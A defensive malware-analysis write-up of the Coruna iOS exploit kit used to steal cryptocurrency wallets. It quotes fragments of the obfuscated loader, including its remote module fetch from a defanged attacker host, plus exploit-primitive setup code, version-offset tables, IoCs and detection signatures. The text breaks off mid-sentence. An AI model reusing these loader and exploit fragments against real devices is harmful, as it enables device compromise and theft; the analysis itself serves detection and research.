Full analysis on GitHub — every original and cleaned JavaScript artifact, the complete deobfuscation pipeline, the YARA + Sigma rule packs, and the machine-readable IoCs all live in
norahc-x/coruna-exploit-kit-analysis. This page is the narrative companion to the repository — code dumps and tooling source have been linked out so the article stays focused on the analysis itself.
Companion writeup — Nuf1p has an independent analysis of the same kit at
nullsector.cc/post/coruna, with deeper focus on the heap-grooming math (allocation counts, free-list churning), theIntl.SegmenterJIT cage escape viaicu::BreakIteratorcorruption, and live PoC validation on an iPhone XR running iOS 16. Different vantage point, complementary read.
This Article documents an in-the-wild iOS exploit kit for the purpose of detection, mitigation, and research. Do not execute any file in this repository against a real device. All vulnerabilities documented here are patched in iOS 17.3 and later.
Overview
What is Coruna
Coruna is a government-grade iOS exploit kit identified by the Google Threat Intelligence Group (GTIG) in February 2025. The full kit contains 23 exploits organized into 5 complete attack chains capable of silently compromising any iPhone running iOS 11.0 (September 2017) through 17.2.1 (December 2023). The UNC6691 deployment analyzed in this repository ships 3 of those 5 chains across 6 JavaScript modules — see 07-variants.md for the module roster.
The MD5 hash 8717d5ead350dd634cc086dd750b055a is the signature of the main loader script (inline_script_1.js, 47,469 bytes), identical across 19 of the 26 sites analyzed in the UNC6691 campaign. This hash represents the entry point of the entire exploit chain: the obfuscated JavaScript served by the group.html page that performs device fingerprinting, selects the appropriate exploit chain, and triggers silent infection. It is effectively the digital signature of the lysNguv variant of the Coruna kit in the UNC6691 campaign.
Final objective: cryptocurrency theft
The ultimate goal of the entire chain is cryptocurrency and financial data theft:
- The exploit achieves native code execution on the iOS device
- An implant called PLASMAGRID (also known as PlasmaLoader) injects itself into the
powerddaemon (which runs as root) - The implant downloads additional modules that:
- Scan Apple Notes and Memo applications for BIP39 seed phrases and keywords like “backup phrase”, “bank account”
- Extract data from crypto wallets: MetaMask, Phantom, Exodus, BitKeep, Trust Wallet, Uniswap
- Decode QR codes from images stored on the device
- Exfiltrate everything via HTTPS with AES encryption to C2 servers
- Use a Domain Generation Algorithm (DGA) with the seed
"lazarus"to generate fallback.xyzdomains
Who is behind Coruna
Google tracked three distinct operators across time:
| Period | Actor | Type | Activity |
|---|---|---|---|
| February 2025 | Commercial surveillance vendor client | Nation-state | Targeted operations against specific individuals |
| Mid-2025 | UNC6353 (Russia) | State espionage | Watering-hole attacks against Ukrainian users |
| Late 2025 | UNC6691 (China) | Financial criminal | Fake Chinese gambling/crypto sites — this campaign |
The campaign analyzed in this repository is UNC6691: 26 fake gambling and crypto sites that serve the exploit kit via group.html, targeting iPhone users to steal cryptocurrency wallets.
Timeline
| Date | Event |
|---|---|
| Sep 2017 | iOS 11.0 released (minimum target version of the kit) |
| Dec 2021 | iOS 15.2 patches CVE-2021-30952 |
| Jul 2023 | iOS 16.6 patches CVE-2023-43000 |
| Sep 2023 | iOS 17.0 patches CVE-2023-41974 |
| Dec 2023 | iOS 17.2.1 — last version vulnerable to the full kit |
| Jan 2024 | iOS 17.3 patches CVE-2024-23222 |
| Feb 2025 | GTIG detects first elements of Coruna |
| Mid 2025 | UNC6353 (Russia) uses Coruna against Ukrainian targets |
| Late 2025 | UNC6691 (China) deploys on fake gambling/crypto sites |
| Oct 2025 | CISA adds CVE-2022-48503 to the Known Exploited Vulnerabilities catalog |
| 3 Mar 2026 | GTIG publishes the full report on Coruna |
| 5 Mar 2026 | CISA adds CVE-2021-30952, CVE-2023-41974, CVE-2023-43000 to KEV |
Social engineering hook
The victim is drawn to a fake gambling or crypto site (for example 4kgame[.]us/group.html, b27[.]icu/group.html). These sites use:
- Names that imitate well-known brands: Binance (
binancealliancesintro[.]com), 7P.GAME (gambling) - Punycode/IDN domains to evade blocklists (
xn--xkrsa0078bd6d[.]com) - Redirects from Telegram and WhatsApp group links
- Explicit instructions to open the site from an iPhone or iPad
Scope of this repository
This repository documents the UNC6691 campaign specifically. It includes:
- The JavaScript loader as delivered to iPhone visitors (two variants: lysNguv and fqMaGkNL)
- The remote-fetched WebKit exploit modules (6 modules for lysNguv, 4 for fqMaGkNL)
- The embedded utility modules (math-utilities, fingerprinting)
- The post-exploit implant loader (PLASMAGRID bootstrap in JavaScript form)
It does NOT include:
- The raw HTML wrapper pages that auto-execute the exploit
- The extracted ARM64 shellcode or Mach-O binaries
- The operational C2 infrastructure captures
- Analysis of the third variant (
LJst0s) discovered onremotexxxyyy.comin March 2026
See 07-variants.md for the variant comparison and 10-references.md for sources.
Attack Flow
This page shows the end-to-end attack chain from the victim clicking a link to the final wallet exfiltration. Each step is explored in detail in the later pages.
High-level chain
flowchart TD
A[Victim clicks link from Telegram/WhatsApp on iPhone] --> B[group.html loads]
B --> C[inline_script_1.js executes]
C --> D[Decode atob blob → module loader]
D --> E[Load math-utilities module]
E --> F[Load fingerprinting module]
F --> G{iOS version?}
G -->|17.2 through 17.2.1| H[dbfd6e84 — SVG feConvolveMatrix UAF]
G -->|15.2 to 15.5| I[d6cb72f5 — JIT NaN-box confusion]
G -->|11.0 to 13.x| J[8dbfa3fd — Legacy type confusion]
H --> K[166411bd — JIT primitives addrof/fakeobj]
I --> K
J --> K
K --> L[81502427 — Mach-O parser / dyld walker]
L --> M[164349160 — PLASMAGRID implant loader]
M --> N[PAC bypass + JIT cage escape]
N --> O[Native ARM64 shellcode execution]
O --> P[Inject into powerd daemon as root]
P --> Q[Download wallet targeting modules from C2]
Q --> R[Scan Notes/Memo for BIP39 seed phrases]
Q --> S[Extract crypto wallet data]
Q --> T[Decode QR codes from photos]
R --> U[Exfiltrate via HTTPS + AES to C2]
S --> U
T --> U
U --> V[DGA fallback: .xyz domains seeded with 'lazarus']
Phase summary
Phase 0 — Social engineering
Victim is lured to a fake gambling or crypto site via Telegram, WhatsApp group links, or branded lookalike domains. See 01-overview.md for the social engineering details.
Phase 1 — Loader execution
The inline script inside group.html fingerprints the device and selects an exploit chain. See 03-loader.md for the full walkthrough.
Phase 2 — Fingerprinting
A battery of tests identifies the exact iOS version, confirms it is Safari (not a spoofed UA), and checks for debugging tools. See 04-fingerprinting.md.
Phase 3 — WebKit RCE
One of three version-specific WebKit exploits executes to gain arbitrary read/write in the Safari process:
- iOS 17.2 through 17.2.1: SVG feConvolveMatrix UAF
- iOS 15.2-15.5: JIT NaN-box confusion
- iOS 11.0-13.x: Legacy type confusion
All three rely on the shared JIT primitives module for addrof/fakeobj.
Phase 4 — PAC bypass and JIT cage escape
The Mach-O parser resolves native symbols from the dyld shared cache. The implant loader then bypasses Pointer Authentication Codes and escapes the WebKit JIT cage to write native ARM64 shellcode.
Phase 5 — Native implant
PLASMAGRID injects itself into the powerd daemon as root, downloads wallet-targeting modules from the C2 server, and exfiltrates seed phrases, wallet data, and QR codes over HTTPS with AES encryption. A DGA seeded with lazarus provides fallback C2 domains if the primary server is taken down.
Loader Walkthrough
The loader is the single inline <script> tag embedded in every group.html page served by the 26 Coruna campaign sites. It is the entry point of the entire exploit chain.
Source files:
analysis/loader/lysnguv/original.js— obfuscated as captured (47,469 bytes)analysis/loader/lysnguv/clean.js— deobfuscated and formattedanalysis/loader/lysnguv/embedded-modules/math-utilities.js— cleaned utility moduleanalysis/loader/lysnguv/embedded-modules/fingerprinting.js— cleaned fingerprinting module
This walkthrough uses the lysNguv variant. The fqMaGkNL variant is structurally identical — see 07-variants.md for the differences.
Overview
When group.html loads, the inline script executes immediately. Its responsibilities are:
- Define a handful of XOR-based string-decoding helpers (
lysNguv,lysNguL,lysNgu6) - Decode a ~30 KB base64 blob that contains the module-loader system and two embedded modules
- Create a global loader object (
globalThis.vKTo89) with methods for loading and caching modules - Register the two embedded modules (math-utilities, fingerprinting) in the local cache
- Fetch a WebAssembly binary for an integrity check
- Run the fingerprinting module, which selects the appropriate exploit chain
- Fetch the remote exploit module and execute it
Obfuscation techniques
The loader uses five layered obfuscation techniques:
- XOR-encoded strings: every string literal is an array of integers XORed with a key, e.g.
[104,100,52].map(p => String.fromCharCode(p ^ 80))decodes to"d6c" - XOR-encoded numeric constants: e.g.
(1194812495 ^ 1194720315)resolves to170100 - Double base64 encoding: the module loader system is base64-encoded inside a base64 blob
- SHA1 hashes as module identifiers: modules are referenced by 40-character SHA1 hashes rather than descriptive names
- Dynamic code execution:
new Function(...)is used instead of directeval()to defeat static analysis - Randomized variable names: helpers are prefixed
lysNgu*andfqMaGkN*per variant
Function: XOR string decoder
Excerpt from analysis/loader/lysnguv/clean.js:19 — every string literal the loader uses is an integer array XORed with a per-call key:
const lysNguD = globalThis.vKTo89.OLdwIx(
[96,55,55,97,96,97,51,51,98,52,105,100,102,52,99,51,
97,98,105,98,55,96,53,104,48,96,50,55,104,55,100,101,
52,98,99,96,55,51,51,97]
.map(v => String.fromCharCode(v ^ 81)).join("")
);
// resolves to: "166411bd90ee39aed912bd49af8d86831b686337"
// — the SHA1 of the JIT primitives module
The helper that resolves every obfuscated string in the loader takes an array of integers and a XOR key, applies the XOR to each integer, and joins the results as a string. After deobfuscate.pl runs, every occurrence of this pattern is replaced with the resolved string literal.
Function: atob() blob decoding
From analysis/loader/lysnguv/clean.js:18 — the single call is structured as:
new Function(atob("TVo…<~29 KB base64 payload>…="))();
A single call to atob() decodes a 29 KB base64 blob containing the entire module-loader system plus two embedded modules encoded in a second base64 layer. The decoded source is passed directly to new Function so it never appears as a string literal in the obfuscated form. This is where the loader actually extracts the code it runs.
Function: Module cache initialization
From analysis/loader/lysnguv/clean.js:22-23 — after the atob() decode creates globalThis.vKTo89, the loader sets the base URL and the hash derivation key:
globalThis.vKTo89.WLEBfI(lysNguf); // base URL = "https://b27[.]icu/"
globalThis.vKTo89.ksQccv("cf40de81867d2397"); // hash derivation key
After the atob() decode, the loader constructs globalThis.vKTo89 and attaches five methods:
| Method | Purpose |
|---|---|
WLEBfI(url) | Sets the base URL for remote module fetches |
ksQccv(key) | Sets the hash derivation key (cf40de81867d2397) |
OLdwIx(hash) | Loads a module from the local cache by SHA1 |
LBrh4t(hash) | Fetches a remote module by SHA1, decoding the URL on the fly |
tI4mjA(key, val) | Manually registers a module in the cache |
The loader then calls OLdwIx twice to register the two embedded modules (math-utilities and fingerprinting) from the pre-decoded cache.
Function: URL derivation for remote modules
The LBrh4t function builds the remote fetch URL as:
URL = baseURL + sha256(hashKey + moduleHash).substring(0, 40) + ".js"
For the lysNguv variant with hashKey = "cf40de81867d2397" and baseURL = "https://b27[.]icu/", fetching the JIT primitives module (166411bd...) produces:
https://b27[.]icu/b903659316e881e624062869c4cf4066d7886c28.js
This scheme prevents casual enumeration of the delivery server — without the SHA1 list, an attacker cannot guess the on-server filenames. See 08-iocs.md for the full URL list.
Execution flow
1. Page loads group.html
2. Inline <script> executes immediately
3. lysNguv/lysNguL/lysNgu6 helper functions defined
4. atob() decodes 29 KB base64 → module loader + MM dictionary
5. new Function() evaluates the decoded code → globalThis.vKTo89 created
6. vKTo89.WLEBfI() sets the base URL
7. vKTo89.ksQccv("cf40de81867d2397") sets the hash derivation key
8. vKTo89.OLdwIx("1ff010bb...") loads the math module from cache
9. vKTo89.OLdwIx("6b57ca33...") loads the fingerprinting module from cache
10. WebAssembly binary fetched and instantiated (integrity check)
11. Fingerprinting module runs (see 04-fingerprinting.md)
12. Version gates select an exploit module
13. vKTo89.LBrh4t() fetches the version-specific exploit module
14. Exploit module's .lA() method is invoked
15. Status reported: 0=success, 1000=error, 1001=unsupported
Cross-references
- 04-fingerprinting.md — what the fingerprinting module (registered here) does
- 05-exploits/01-jit-primitives.md — the first remote module fetched
- 07-variants.md — how the fqMaGkNL variant differs
Defensive notes
- The loader MD5
8717d5ead350dd634cc086dd750b055ais a reliable IoC across all 19 lysNguv sites - The
sha256(key + hash)[:40]URL pattern is a strong signature for network-level detection - The loader cannot proceed without JavaScript — disabling JavaScript in Safari blocks the entire chain
Fingerprinting and Version Gates
The fingerprinting module is the decision engine that selects which exploit chain to run against each victim. It is one of the two modules embedded inside the loader (the other is math-utilities). After the loader decodes the embedded base64 blob, it registers this module in the cache and invokes it.
Source file: analysis/loader/lysnguv/embedded-modules/fingerprinting.js
Original SHA1: 6b57ca3347345883898400ea4318af3b9aa1dc5c
Overview
The fingerprinting module performs a battery of tests to determine:
- Is this an Apple device?
- Is this a real iPhone or iPad (not a spoofed UA)?
- What exact iOS version is running?
- Is this genuine Safari (not Chrome with a modified UA)?
- Are debugging or analysis tools present?
Based on the results, it populates a M state object that accumulates capability flags, then walks a version-gate table that sets memory-layout offsets specific to the detected iOS version.
State object M
M = {
platform: null, // navigator.platform value
userAgent: null, // navigator.userAgent value
runtime: "", // "safari" or "webkit"
dn: 0, // iOS version as integer (e.g. 160400 = iOS 16.4)
yn: false, // WebAssembly Table/Instance mismatch flag
Hn: {}, // Accumulated capability flags
Pn: null // WASM module reference
}
Function: Platform detection
From analysis/loader/lysnguv/embedded-modules/fingerprinting.js:88-91:
function p() {
let n = !1;
return void 0 === M._n
? ("MacIntel" === M.platform
&& -1 === Object.getOwnPropertyNames(window).indexOf("TouchEvent")
&& (n = !0),
M._n = n)
: n = M._n,
n
}
Tests navigator.platform === "MacIntel" and the absence of TouchEvent on window. This two-step check identifies iPads specifically, because iPads have reported MacIntel as their platform since iPadOS 13 — the touch test disambiguates real iPads from actual Macs (the result is memoized in M._n).
The module also checks the user agent for "MobileStore/1.0" as a signal of an in-app browser context.
Function: WebRTC engine probe
From analysis/loader/lysnguv/embedded-modules/fingerprinting.js:169:
!["mozRTCPeerConnection",
"RTCPeerConnection",
"webkitRTCPeerConnection",
"RTCIceGatherer"].some(n => n in globalThis) && !globalThis.WebGLRenderingContext
Four-way test for WebRTC API variants to identify the underlying browser engine:
| API | Engine |
|---|---|
window.mozRTCPeerConnection | Firefox |
window.webkitRTCPeerConnection | Older WebKit |
window.RTCPeerConnection | Standard (Chrome/Safari) |
window.RTCIceGatherer | Edge |
This is a classic fingerprinting trick that works despite user-agent spoofing — the actual JavaScript APIs cannot be spoofed without modifying the browser itself.
Function: MathML Safari detector
Creates a hidden DOM element with MathML content:
<math style="display: none">
<mrow mathcolor="blue"><mn>14</mn></mrow>
</math>
Then reads the computed color of the <mn> element. Safari renders MathML natively, producing a computed color of rgb(0, 0, 255). Chrome does not render MathML, so the color remains the default.
This test is the most reliable Safari detector in the fingerprinting module because it relies on an engine-level rendering behavior that cannot be faked by changing the user agent.
Function: iOS version extraction
Parses the user agent with two regexes:
/iOS\/(\d+)\.(\d+)(?:\.(\d+))?/
/iPhone OS (\d+)_(\d+)(?:_(\d+))?/
The major, minor, and patch versions are then combined into a single integer: major*10000 + minor*100 + patch.
| User agent snippet | Integer form |
|---|---|
iPhone OS 17_2_1 | 170201 |
iPhone OS 16_4 | 160400 |
iPhone OS 15_2 | 150200 |
iPhone OS 11_0 | 110000 |
This integer form is the key to the version gate lookup.
Function: Version gates table
Excerpt from analysis/loader/lysnguv/embedded-modules/fingerprinting.js:11-37 — the largest and most important data structure in this module. The loader walks this configuration array (hH4VSV, plus a secondary nrHYnZ for struct offsets) mapping iOS version thresholds to capability flags and memory-layout offsets:
const _ = {
hH4VSV: [
{ KKM4x7: 170300, KRfmo6: !1 }, // iOS ≥17.3: kit aborts
{ KKM4x7: 170200, PtqWRQ: !0, CqGuvK: !0 }, // iOS ≥17.2: selects SVG UAF chain
{ KKM4x7: 170000, Rg_UT1: 96, ixqELG: 104 }, // iOS ≥17.0: memory offsets
{ KKM4x7: 160600, KRfmo6: !0, yAerzw: !1, IMuONj: 112, /* … */ },
{ KKM4x7: 160400, qhgEnH: 176, Rg_UT1: 88, ixqELG: 96 },
{ KKM4x7: 160200, yAerzw: !0, jIJ7Om: !1, beVloM: 16, /* … */ },
{ KKM4x7: 150600, jIJ7Om: !0, Fq2t1Q: !1 },
{ KKM4x7: 150400, VMMcyp: 64 },
{ KKM4x7: 150200, Fq2t1Q: !0, YGPUu7: !1 }, // iOS ≥15.2: selects iOS 15.x JIT chain
{ KKM4x7: 130006, FSCw9f: 16 },
{ KKM4x7: 130001, FSCw9f: 24, VMMcyp: 72 },
{ KKM4x7: 110000, YGPUu7: !0, /* … legacy offsets … */ }, // iOS ≥11.0: selects legacy chain
{ KKM4x7: 100000, tfe3OF: !1 } // iOS ≥10.0: minimum supported
],
// ...
};
Each entry’s KKM4x7 is the minimum iOS integer the entry applies to; the resolver walks the array top-down and accumulates every entry whose threshold the detected M.dn meets or exceeds.
| iOS version | Key flags enabled |
|---|---|
| ≥ 17.3 | KRfmo6=false (kit does not support latest iOS) |
| ≥ 17.2 | PtqWRQ=true, CqGuvK=true — iOS 17.x exploit path |
| ≥ 17.0 | Memory layout offsets: Rg_UT1=96, ixqELG=104 |
| ≥ 16.6 | KRfmo6=true, yAerzw=false + struct offsets |
| ≥ 16.4 | Different memory layout: Rg_UT1=88, ixqELG=96 |
| ≥ 16.2 | yAerzw=true, jIJ7Om=false + more struct offsets |
| ≥ 15.6 | jIJ7Om=true, Fq2t1Q=false |
| ≥ 15.4 | VMMcyp=64 (likely a vtable or object offset) |
| ≥ 15.2 | Fq2t1Q=true, YGPUu7=false — iOS 15.x exploit path |
| ≥ 13.0 | Various FSCw9f, VMMcyp values |
| ≥ 11.0 | YGPUu7=true — legacy exploit path |
| ≥ 10.0 | tfe3OF=false — minimum supported version |
Flags like Rg_UT1, ixqELG, VMMcyp, FSCw9f are WebKit heap-struct offsets that change between iOS builds as Apple modifies the JSObject layout. This is the characteristic pattern of a precise type-confusion or UAF exploit that needs exact offsets per iOS version to be reliable.
Exploit chain selection
After the version gates run, the fingerprinting module selects a remote module based on the accumulated flags:
| Flag | iOS range | Fetched module (lysNguv) |
|---|---|---|
PtqWRQ=true | 17.2-17.2.1 | dbfd6e84... (SVG feConvolveMatrix UAF) |
Fq2t1Q=true | 15.2-15.5 | d6cb72f5... (JIT NaN-box confusion) |
YGPUu7=true | 11.0-13.x | 8dbfa3fd... (legacy type confusion) |
The module calls vKTo89.LBrh4t(hash) to fetch the selected exploit, then invokes the exploit’s .lA() method.
Cross-references
- 03-loader.md — how this module is registered and invoked
- 05-exploits/02-ios17-svg-uaf.md — the iOS 17.x chain
- 05-exploits/03-ios15-jit-confusion.md — the iOS 15.x chain
- 05-exploits/04-ios11-13-legacy.md — the legacy chain
Defensive notes
- The MathML test cannot be defeated by UA spoofing — only by using a truly non-WebKit browser
- The version gates table is the strongest proof that the kit ships precise per-version offsets, meaning updates to iOS frequently break individual exploit chains
- iOS 17.3 or later sets
KRfmo6=falseand the kit terminates without attempting any exploit
JIT Primitives Module
Hashes: 166411bd90ee39aed912bd49af8d86831b686337 (lysNguv) / e3b6ba10484875fabaed84076774a54b87752b8a (fqMaGkNL)
iOS target: All supported versions (shared foundation module)
Role in chain: Converts the memory corruption produced by a version-specific WebKit vulnerability into a reusable set of memory-access primitives consumed by all subsequent modules
Source files:
analysis/exploits/lysnguv/clean/166411bd90ee39aed912bd49af8d86831b686337.js(1,417 lines)analysis/exploits/fqmagknl/clean/e3b6ba10484875fabaed84076774a54b87752b8a.js
A note on depth
This page deliberately walks through the captured code at structural and interface depth rather than reconstructing the causal theory of the underlying JavaScriptCore bug class. For the deeper technical treatment, readers should consult the public research cited in 10-references.md — particularly Project Zero’s JSC writeups, GTIG’s Coruna disclosure, and Samuel Groß’s published work on JavaScriptCore exploitation. Those sources provide the full conceptual background that this page cross-references rather than duplicates.
The goal of this page is to help a defender, detection engineer, or researcher reading the cleaned source navigate it efficiently — not to serve as a tutorial for recreating the primitives.
Defensive context
Before the walkthrough, note the practical boundaries:
- No CVE maps to this module directly. It is engineering scaffolding that depends on a separate WebKit vulnerability. Patching any of the version-specific WebKit bugs (see 06-cve-mapping.md) prevents this module from ever running.
- iOS 17.3 and later are immune to the kit’s primary exploit path (CVE-2024-23222 is patched), so this module never loads on updated devices.
- Lockdown Mode disables JIT compilation in Safari, neutralizing this module independent of any underlying bug.
- The code is specific to Coruna and specific iOS builds. Reading it provides forensic and detection value; it does not generalize into a re-implementation blueprint because JavaScriptCore internals have been restructured since.
Technique family
The module applies a combination of well-known techniques from the public WebKit exploitation literature:
- Shape-confused paired objects created via
Reflect.construct— a pattern covered in multiple Project Zero writeups - Extended JIT warming loops to force tier-up into JavaScriptCore’s FTL compiler — documented in the same literature
- WebAssembly instances as memory side-channels — a pattern used in Coruna, Operation Triangulation, and other iOS kits
- NaN-boxing manipulation for converting between JavaScript value representations and raw pointers — covered extensively in Samuel Groß’s published work
Readers who want the conceptual treatment should consult those primary sources. This page covers what the captured code specifically does.
File structure at a glance
The 1,417-line cleaned file is organized into five structural regions:
| Lines | Role |
|---|---|
| 1–140 | Module preamble, WebAssembly bytecode definition, constructor class P |
| 140–230 | First-stage primitive bootstrap via WebAssembly instances |
| 230–770 | Main primitive construction with paired shape-confused objects |
| 770–900 | Primitive export layer — wraps the internals into m.ps, m.ss, m.ys, m.ns, m.rs, m.bs, m.xs, m.vs |
| 900–1400 | Pointer arithmetic helper classes, Worker-based helpers, memory layout table |
| 1405–1416 | async function X() and r.kr = X; — the module entry point |
Walkthrough: setup and paired-object construction (lines 240–258)
let t = [1.1, 1.1];
t.cs = 1.1;
let e = [1.1, 2.2];
e.cs = 1.1;
function n() {}
let r = Reflect.construct(Object, [], n);
let i = Reflect.construct(Object, [], n);
r.p1 = t;
r.p2 = t;
i.p1 = 4919;
i.p2 = 4919;
delete i.p2;
delete i.p1;
i.p1 = 4919;
i.p2 = 4919;
let s = {
guard_p1: 1, p1: [1.1, 2.2]
};
Two small arrays t and e are created, each given an extra cs property. A parameterless constructor function n is declared. Two objects r and i are then created via Reflect.construct(Object, [], n) — both use the same constructor target n.
Lines 248–249 assign the same array t to both r.p1 and r.p2. Lines 250–251 assign the integer 4919 to i.p1 and i.p2. Lines 252–253 delete both properties from i. Lines 254–255 reassign them. The object s is declared as a helper used by the warming function that follows.
Detection relevance: the specific sequence — Reflect.construct + identical-constructor object pairs + property-delete-then-reassign pattern — is the fingerprint of this technique. A static detection rule can match this pattern structurally and will survive most identifier renaming.
Walkthrough: JIT warming sequence (lines 261–340)
The function h(t, n) defined next contains more than thirty back-to-back blocks of the form:
while (h < 1) { s.guard_p1 = 1; h++ }
h--;
Each block runs exactly once and then decrements the counter so the next block can run. The unusual repetition count is tuned to push JavaScriptCore past its tier-up thresholds for its progressively-more-optimizing compilation tiers.
Detection relevance: the repetition count (more than 30 identical blocks) and the guard_p1-style naming are distinctive. A static rule matching “N consecutive tight while-loops with identical bodies and decrement-between-loops” is specific enough to catch obfuscated variants.
Walkthrough: the remaining construction phases (lines 340–770)
The rest of the construction region sets up the memory-access primitives in several interleaved phases. The cleaned source is the authoritative reference for the exact sequence. At a structural level:
-
WebAssembly instance preparation — two instances from the small bytecode module at line ~140 are set up to serve as a side-channel for observing the effects of the corrupted JavaScript values.
-
Array corruption via
pm.gRWArray1— a JavaScript array is placed into a state where its storage can be interpreted in multiple ways depending on which function accesses it. Lines 700–714 establish this state and run a one-million-iteration warming loop to tier it up. -
Reflective construction loops
fandw— two functions (lines 724–752) are warmed via back-to-back million-iteration loops. The pattern of assigningnew Array(1, 2, 3)to auselessvariable each iteration is a deliberate anti-optimization — it prevents JavaScriptCore’s escape analysis from eliminating the allocations the kit needs. -
Address leak verification — lines 753–773 leak the addresses of several known references, then check that their spacing matches the expected 32-byte object size for the target iOS build. The sanity checks (
pm.ref2Address == 0x7ff8000000000000,g != 32 && d != 32) cause the kit to bail out cleanly if the iOS build does not match the expected layout. This is defensive programming on the operators’ part — they do not want a crashed Safari tab to leave forensic evidence. -
First-tier primitive definition — the initial
m.ps(address leak) is defined at line 715 as a short wrapper that uses the warmed helperhand the arithmetic utilityL(imported from the loader’s math-utilities module) to convert the corrupted value into a stable integer address.
Walkthrough: primitive export layer (lines 770–900)
The primitive export layer is where the raw capabilities are wrapped into the named interface that downstream modules consume. The interface surface is:
| Exported name | Consumer-side meaning |
|---|---|
m.ps(obj) | Given a JavaScript object, return a stable integer address |
m.ss(addr) | Given an address, return a JavaScript reference pointing to it |
m.ys(addr) | 32-bit read at the given address |
m.ns(addr) | 32-bit read (alternate variant with different internal path) |
m.rs(addr) | 64-bit read (composed from two 32-bit reads with low-word and high-word handling) |
m.gs(addr) | 64-bit read with a different high-word mask (used for PAC-stripped reads on arm64e) |
m.ds(addr) | 64-bit read returning a [low, high] pair |
m.bs(addr, v) | 32-bit write |
m.xs(addr, v) | 32-bit write (alternate variant) |
m.vs(addr, lo, hi) | 64-bit write taking separate low and high words |
m.As(addr, v) | Internal helper used by m.bs |
m.Bs(addr, v) | Internal helper used by m.vs |
m.Ts(addr) | Read and return a 64-bit value as an opaque handle |
At the export layer, each wrapper is a short function of typically 2–6 lines that calls an internal helper (h, v, T, C, etc.) and reformats the result. The upgraded-primitive section around line 819 replaces the initial m.ps with a cleaner version that uses the now-working read primitive to implement address leaks more reliably.
For readers walking through the code: the cleanest entry point is m.ps at line 829 (the upgraded version). It uses a helper object pm.testobj whose address was captured earlier, writes the target value into a known offset, and reads it back through the generic read primitive. Tracing the definitions of m.rs, m.gs, m.ds at lines 851–861 will show how the 64-bit reads are composed from the 32-bit primitive.
Walkthrough: sanity test and cleanup (lines 879–898)
The module includes a small self-test at line 879 (test:function()) that allocates a 16-byte region, writes the constants 4919 and 16705 as 32-bit words, reads them back through the read primitive, and throws an error if they don’t match. This is the module’s own assertion that the primitives are working before returning control to the loader.
The Xr:function() at line 890 is a cleanup routine that nulls out references held in the exploitation state — the same defensive-programming pattern as the address-leak sanity check. If the kit proceeds through the full chain without crashing, this cleanup leaves Safari in a state where a forensic examiner finds fewer traces.
Walkthrough: module entry point (lines 1405–1416)
async function X() {
// construction phases run here
return /* initialized primitive object */;
}
r.kr = X;
The async function X() at line 1405 is the single function the loader invokes (r.kr) to bootstrap the module. It runs the construction phases described above in sequence, performs the sanity test, and returns the object containing the exported m.ps, m.ss, m.ys, m.ns, m.rs, m.bs, m.xs, m.vs methods that downstream modules consume.
The async keyword is used because several phases await WebAssembly module instantiation and microtask-queue draining to allow the JIT tier-up to complete.
Interfaces consumed by downstream modules
Once r.kr() returns, the initialized primitive object flows through the loader back to whichever version-specific WebKit exploit module triggered the chain. That module then calls the primitives to:
- Leak the addresses of objects it has corrupted via the bug
- Read memory to find WebKit internals, dyld cache base, and JavaScriptCore globals
- Write memory to install the initial hooks needed by the Mach-O parser
The Mach-O parser module consumes the same primitives to walk Mach-O load commands and symbol tries in memory. The implant loader consumes them to install the PLASMAGRID native payload.
Detection signatures
Signatures that can be written against this module without depending on identifier names:
- Paired
Reflect.constructwith identical target + delete-reassign pattern — rare enough in legitimate code to be a high-fidelity alert - More than 30 consecutive identical tight
whileloops with decrement-between-loops — characteristic of JSC tier-up warming and essentially never seen in benign code - Million-iteration loops reassigning a module-level
uselessvariable on every iteration — the anti-escape-analysis pattern - Sanity checks against
0x7ff8000000000000(JSC NaN canonical) appearing in a function that also calls a recently-defined primitive — indicates the function is verifying that the primitive returned a real pointer - Two
WebAssembly.Instanceobjects built from the sameWebAssembly.Moduleinside a constructor — unusual in benign code and common in iOS exploitation kits - Network signature: fetching the on-server filename
b903659316e881e624062869c4cf4066d7886c28.jsfrom any host is a strong IoC (see 08-iocs.md)
Cross-references
- 03-loader.md — how this module is fetched and registered by the loader
- 05-macho-parser.md — the next module in the chain, consuming these primitives
- 06-implant-loader.md — the final synthesis that turns these primitives into native code execution
- 02-ios17-svg-uaf.md, 03-ios15-jit-confusion.md, 04-ios11-13-legacy.md — the version-specific WebKit bugs that produce the corruption this module consumes
Defensive notes
- The primitives themselves are not a CVE. They are a layer on top of a separate WebKit vulnerability. Patching the underlying WebKit bug (see the version-specific exploit pages) neutralizes this module.
- iOS 17.3 and later are unaffected — the version-specific exploits that feed this module rely on pre-17.3 vulnerabilities.
- Lockdown Mode disables JIT in Safari, preventing this module from functioning even if an underlying bug were still present.
- Detection opportunity: the distinctive code patterns documented in this page are rare in benign web content. A content-inspection proxy that hashes inline script bodies and matches against the known loader MD5 (
8717d5ead350dd634cc086dd750b055a) provides near-perfect detection for the lysNguv variant without any dynamic analysis.
iOS 17.x SVG feConvolveMatrix UAF
Hashes: dbfd6e840218865cb2269e6b7ed7d10ea9f22f93 (lysNguv) / d11d34e4d96a4c0539e441d861c5783db8a1c6e9 (fqMaGkNL)
iOS target: 17.2 through 17.2.1 (the fingerprinting gate sets PtqWRQ=true only at iOS ≥ 17.2; the memory-layout offsets this module consumes are populated from iOS 17.0 onward, but the module is never selected on 17.0–17.1.x)
Role in chain: WebKit RCE entry point for iOS 17.x victims
Primary CVE: CVE-2024-23222 — patched in iOS 17.3 (January 2024), CISA KEV
Source files:
analysis/exploits/lysnguv/clean/dbfd6e840218865cb2269e6b7ed7d10ea9f22f93.js(1,069 lines)analysis/exploits/fqmagknl/clean/d11d34e4d96a4c0539e441d861c5783db8a1c6e9.js
A note on depth
This page walks through the captured code at structural and interface depth. For the conceptual background on WebKit UAF exploitation, SVG filter internals, and OfflineAudioContext.decodeAudioData behavior, consult Project Zero’s WebKit writeups and the GTIG Coruna disclosure. This page focuses on what the Coruna captured code does and is not intended as a conceptual treatment of the bug class.
Defensive context
- CVE-2024-23222 was patched in iOS 17.3 (January 2024). Any iPhone on iOS 17.3 or later is fully immune to this module.
- CISA added CVE-2024-23222 to the Known Exploited Vulnerabilities catalog the same month Apple shipped the patch.
- Lockdown Mode reduces WebAssembly and JIT exposure and is likely to prevent this module from succeeding regardless of patch status.
- The module is highly version-specific. Its memory-offset assumptions target iOS 17.2–17.2.1 exactly. iOS 17.3 (with the patch) breaks it, and later builds have restructured the underlying WebKit code enough that the offsets would not apply.
Technique family
- WebKit SVG filter UAF — a bug class documented in multiple prior Project Zero writeups
- Async-reclaim via
OfflineAudioContext.decodeAudioData— a pattern covered in WebKit security research - Heap spray via
